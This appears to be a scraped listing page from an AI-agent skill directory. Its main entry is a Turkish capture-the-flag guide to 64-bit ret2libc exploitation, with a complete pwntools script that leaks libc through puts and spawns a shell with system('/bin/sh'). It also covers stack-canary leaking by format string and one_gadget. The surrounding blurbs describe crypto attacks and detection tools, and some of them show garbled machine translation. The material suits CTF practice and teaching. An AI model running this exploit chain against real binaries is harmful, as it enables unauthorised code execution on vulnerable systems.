21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
NX açık, ASLR varsa libc leak + system("/bin/sh") zinciri
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
설치 방법 보기설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.
checksec çıktısında şunu görürsen bu teknik devreye girer:
Arch: amd64-64-little
RELRO: Partial RELRO ← GOT yazılabilir
Stack: No canary found ← ya da canary var ama leak var
NX: NX enabled ← shellcode çalışmaz, ROP lazım
PIE: No PIE ← binary adresleri sabit (işimizi kolaylaştırır)
ASLR: Enabled ← libc adresi her run'da değişir → leak şart
Genel kural:
ROP zinciri: puts@plt(puts@got) → main() (ikinci şans)
puts, got'taki kendi adresini stdout'a basar. Biz bu adresi okur,
libc base'i hesaplar, ikinci payload ile system("/bin/sh") çağırırız.
[padding] [pop rdi; ret] [puts@got] [puts@plt] [main]
[padding] [ret gadget] [pop rdi; ret] [/bin/sh str] [system]
ret gadget'i stack alignment içindir (x86_64'te movaps 16-byte hizalama ister).
#!/usr/bin/env python3
# ret2libc_exploit.py — 64-bit NX+ASLR bypass
# Kullanım: python3 exploit.py [LOCAL|REMOTE] [host] [port]
from pwn import *
# ── Hedef ayarları ──────────────────────────────────────────────────────────
BINARY = "./vuln" # binary yolu
LIBC = "./libc.so.6" # ldd ile bul ya da patchelf ile çek
REMOTE_HOST = "chall.ctf.site"
REMOTE_PORT = 1337
context.binary = elf = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info" # debug için "debug"
# ── Bağlantı ────────────────────────────────────────────────────────────────
def start():
if args.REMOTE:
return remote(REMOTE_HOST, REMOTE_PORT)
return process(BINARY)
io = start()
# ── Gadget + Sembol Adresleri ────────────────────────────────────────────────
rop = ROP(elf)
POP_RDI = rop.find_gadget(["pop rdi", "ret"])[0]
RET = rop.find_gadget(["ret"])[0] # stack alignment için
PUTS_PLT = elf.plt["puts"]
PUTS_GOT = elf.got["puts"]
MAIN = elf.symbols["main"]
log.info(f"pop rdi; ret @ {hex(POP_RDI)}")
log.info(f"puts@plt @ {hex(PUTS_PLT)}")
log.info(f"puts@got @ {hex(PUTS_GOT)}")
log.info(f"main @ {hex(MAIN)}")
# ── Offset Bul ──────────────────────────────────────────────────────────────
# cyclic_find ile ya da gdb pwndbg'de: cyclic 200 → crash → cyclic_find(rbp)
OFFSET = 72 # <-- bunu kendi binary'ne göre değiştir
# ── Stage 1: Libc Leak ───────────────────────────────────────────────────────
payload1 = b"A" * OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(PUTS_GOT)
payload1 += p64(PUTS_PLT)
payload1 += p64(MAIN) # leak sonrası main'e dön
io.recvuntil(b">>> ") # programa özel prompt; gerekirse değiştir
io.sendline(payload1)
# puts çıktısını oku
leaked_bytes = io.recvline().strip().ljust(8, b"\x00")
puts_addr = u64(leaked_bytes[:8])
log.success(f"puts@libc = {hex(puts_addr)}")
# ── Libc Base Hesapla ────────────────────────────────────────────────────────
libc.address = puts_addr - libc.symbols["puts"]
log.success(f"libc base = {hex(libc.address)}")
SYSTEM = libc.symbols["system"]
BIN_SH = next(libc.search(b"/bin/sh\x00"))
log.info(f"system @ {hex(SYSTEM)}")
log.info(f"/bin/sh @ {hex(BIN_SH)}")
# ── Stage 2: Shell ───────────────────────────────────────────────────────────
payload2 = b"A" * OFFSET
payload2 += p64(RET) # 16-byte stack hizalama (movaps için)
payload2 += p64(POP_RDI)
payload2 += p64(BIN_SH)
payload2 += p64(SYSTEM)
io.recvuntil(b">>> ")
io.sendline(payload2)
io.interactive()
# Leak aldıktan sonra libc base:
libc.address = leaked_addr - libc.symbols["leaked_func"]
# Doğrulama — her zaman 0x...000 ile bitmeli:
assert libc.address & 0xfff == 0, "Yanlış libc versiyonu!"
# one_gadget ile alternatif:
# $ one_gadget libc.so.6
# 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15 == NULL, rdx == NULL]
ONE_GADGET = libc.address + 0xe3b01
Binary talk() fonksiyonunda off-by-one ile RBP'yi kısmen kontrol ediyordu.
Akış:
puts@got adresine pointer yazputs@plt(puts@got) ile libc base hesaplasystem("/bin/sh") çağır# baby-talk'a özel snippet
CANARY_OFF = 31 # %31$p ile stack canary leak (printf zafiyeti de vardı)
OFFSET = 40
# Canary leak (format string yardımcı vuln)
io.sendline(b"%31$p")
canary = int(io.recvline().strip(), 16)
log.success(f"canary = {hex(canary)}")
payload = b"A" * OFFSET
payload += p64(canary) # canary koru
payload += b"B" * 8 # saved rbp
payload += p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN)
system() içinde SSE talimatları 16-byte hizalı stack ister.
Çözüm: payload'a fazladan ret gadget ekle.
# Hatalı:
payload = padding + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM)
# Doğru:
payload = padding + p64(RET) + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM)
# Binary'nin kullandığı libc'yi bul:
ldd ./vuln
# /lib/x86_64-linux-gnu/libc.so.6 (0x00007f...)
# Sunucudaki versiyonu anlamak için leak ettikten sonra:
# libc.blukat.me sitesine puts offset'ini gir
# ya da libc-database kullan:
# $ ./find puts <leaked_offset>
Bazen puts GOT'ta yok. Alternatifler:
write@plt(1, write@got, 8) → pop rdi + pop rsi + pop rdx gerekirprintf@plt(printf@got) → format string riski (null byte sorunları)__libc_start_main@got → neredeyse her binary'de varputs() null byte'ta durur. Leaked adres null içeriyorsa:
# Güvenli okuma:
leak = io.recv(6).ljust(8, b"\x00") # 48-bit adres için
addr = u64(leak)
one_gadget constraint'leri karşılanmıyorsa:
one_gadget libc.so.6 -l 2 # daha fazla gadget listele
Ya da klasik system("/bin/sh") zincirini kullan.
아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.
로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.
아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.
21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.